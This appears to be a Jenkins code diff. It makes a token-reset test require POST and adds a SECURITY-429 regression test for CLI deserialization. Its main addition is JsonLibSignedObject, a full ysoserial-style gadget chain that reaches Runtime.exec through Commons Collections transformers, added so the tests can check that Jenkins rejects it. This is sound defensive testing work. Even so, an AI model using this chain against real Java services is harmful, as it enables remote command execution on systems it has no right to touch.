import com.gargoylesoftware.htmlunit.WebConnection;
|
||||
import com.gargoylesoftware.htmlunit.WebRequest;
|
||||
@@ -142,7 +143,17 @@ public class ApiTokenPropertyTest {
|
||||
|
||||
// Make sure that Admin can reset a token of another user
|
||||
WebClient wc = createClientForUser("bar");
|
||||
HtmlPage res = wc.goTo(foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken");
|
||||
wc.getOptions().setThrowExceptionOnFailingStatusCode(false);
|
||||
HtmlPage requirePOST = wc.goTo(foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken");
|
||||
assertEquals("method should not be allowed", 405, requirePOST.getWebResponse().getStatusCode());
|
||||
|
||||
wc.getOptions().setThrowExceptionOnFailingStatusCode(true);
|
||||
WebRequest request = new WebRequest(new URL(j.getURL().toString() + foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken"), HttpMethod.POST);
|
||||
wc.addCrumb(request);
|
||||
HtmlPage res = wc.getPage(request);
|
||||
|
||||
// TODO This nicer alternative requires https://github.com/jenkinsci/jenkins/pull/2268 or similar to work
|
||||
// HtmlPage res = requirePOST.getPage().getForms().get(0).getElementsByAttribute("input", "type", "submit").get(0).click();
|
||||
assertEquals("Update token response is incorrect",
|
||||
Messages.ApiTokenProperty_ChangeToken_SuccessHidden(), "<div>" + res.getBody().asText() + "</div>");
|
||||
}
|
||||
|
||||
@@ -32,7 +32,6 @@ import java.io.File;
|
||||
import java.io.PrintStream;
|
||||
import jenkins.security.security218.Payload;
|
||||
import org.jenkinsci.remoting.RoleChecker;
|
||||
import org.junit.Ignore;
|
||||
import org.junit.Test;
|
||||
import static org.junit.Assert.*;
|
||||
import org.junit.Rule;
|
||||
@@ -170,6 +169,13 @@ public class Security218CliTest {
|
||||
probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED);
|
||||
}
|
||||
|
||||
@PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
|
||||
@Test
|
||||
@Issue("SECURITY-429")
|
||||
public void jsonLibSignedObject() throws Exception {
|
||||
probe(Payload.JsonLibSignedObject, PayloadCaller.EXIT_CODE_REJECTED);
|
||||
}
|
||||
|
||||
private void probe(Payload payload, int expectedResultCode) throws Exception {
|
||||
File file = File.createTempFile("security-218", payload + "-payload");
|
||||
File moved = new File(file.getAbsolutePath() + "-moved");
|
||||
|
||||
@@ -47,6 +47,7 @@ public enum Payload {
|
||||
Spring1(Spring1.class),
|
||||
Spring2(Spring2.class),
|
||||
Ldap(Ldap.class),
|
||||
JsonLibSignedObject(JsonLibSignedObject.class),
|
||||
;
|
||||
|
||||
private final Class<? extends ObjectPayload> payloadClass;
|
||||
|
||||
+158
@@ -0,0 +1,158 @@
|
||||
package jenkins.security.security218.ysoserial.payloads;
|
||||
|
||||
import java.io.ObjectStreamException;
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Field;
|
||||
import java.security.KeyPair;
|
||||
import java.security.KeyPairGenerator;
|
||||
import java.security.PrivateKey;
|
||||
import java.security.PublicKey;
|
||||
import java.security.Signature;
|
||||
import java.security.SignedObject;
|
||||
import java.util.Comparator;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentSkipListSet;
|
||||
import java.util.concurrent.CopyOnWriteArraySet;
|
||||
import net.sf.json.JSONArray;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.collection.AbstractCollectionDecorator;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
import org.apache.commons.collections.map.ReferenceMap;
|
||||
import org.apache.commons.collections.set.ListOrderedSet;
|
||||
|
||||
/** @author an independent security researcher reporting to Beyond Security’s SecuriTeam Secure Disclosure program */
|
||||
public class JsonLibSignedObject implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String cmd) throws Exception {
|
||||
final String[] execArgs = new String[] { cmd };
|
||||
|
||||
final Transformer[] transformers = new Transformer[] {
|
||||
new ConstantTransformer(Runtime.class),
|
||||
new InvokerTransformer("getMethod", new Class[] { String.class,
|
||||
Class[].class }, new Object[] { "getRuntime",
|
||||
new Class[0] }),
|
||||
new InvokerTransformer("invoke", new Class[] { Object.class,
|
||||
Object[].class }, new Object[] { null, new Object[0] }),
|
||||
new InvokerTransformer("exec", new Class[] { String.class },
|
||||
execArgs), new ConstantTransformer(1) };
|
||||
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
|
||||
final Map innerMap = new HashMap();
|
||||
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
|
||||
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("foo");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
f.setAccessible(true);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2 = null;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
f2.setAccessible(true);
|
||||
Object[] array2 = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array2[0];
|
||||
if (node == null) {
|
||||
node = array2[1];
|
||||
}
|
||||
|
||||
Field keyField = null;
|
||||
try {
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
} catch (Exception e) {
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField(
|
||||
"key");
|
||||
}
|
||||
|
||||
keyField.setAccessible(true);
|
||||
keyField.set(node, entry);
|
||||
|
||||
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
|
||||
keyPairGenerator.initialize(1024);
|
||||
KeyPair keyPair = keyPairGenerator.genKeyPair();
|
||||
PrivateKey privateKey = keyPair.getPrivate();
|
||||
PublicKey publicKey = keyPair.getPublic();
|
||||
|
||||
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
|
||||
SignedObject payload = new SignedObject(map, privateKey, signature);
|
||||
JSONArray array = new JSONArray();
|
||||
|
||||
array.add("asdf");
|
||||
|
||||
ListOrderedSet set = new ListOrderedSet();
|
||||
Field f1 = AbstractCollectionDecorator.class
|
||||
.getDeclaredField("collection");
|
||||
f1.setAccessible(true);
|
||||
f1.set(set, array);
|
||||
|
||||
DummyComperator comp = new DummyComperator();
|
||||
ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp);
|
||||
csls.add(payload);
|
||||
|
||||
CopyOnWriteArraySet a1 = new CopyOnWriteArraySet();
|
||||
CopyOnWriteArraySet a2 = new CopyOnWriteArraySet();
|
||||
|
||||
a1.add(set);
|
||||
Container c = new Container(csls);
|
||||
a1.add(c);
|
||||
|
||||
a2.add(csls);
|
||||
a2.add(set);
|
||||
|
||||
ReferenceMap flat3map = new ReferenceMap();
|
||||
flat3map.put(new Container(a1), "asdf");
|
||||
flat3map.put(new Container(a2), "asdf");
|
||||
|
||||
return flat3map;
|
||||
}
|
||||
|
||||
static class Container implements Serializable {
|
||||
|
||||
private Object o;
|
||||
|
||||
public Container(Object o) {
|
||||
this.o = o;
|
||||
}
|
||||
|
||||
private Object writeReplace() throws ObjectStreamException {
|
||||
return o;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
static class DummyComperator implements Comparator, Serializable {
|
||||
|
||||
public int compare(Object arg0, Object arg1) {
|
||||
// TODO Auto-generated method stub
|
||||
return 0;
|
||||
}
|
||||
|
||||
private Object writeReplace() throws ObjectStreamException {
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
Reference in new issue
Block a user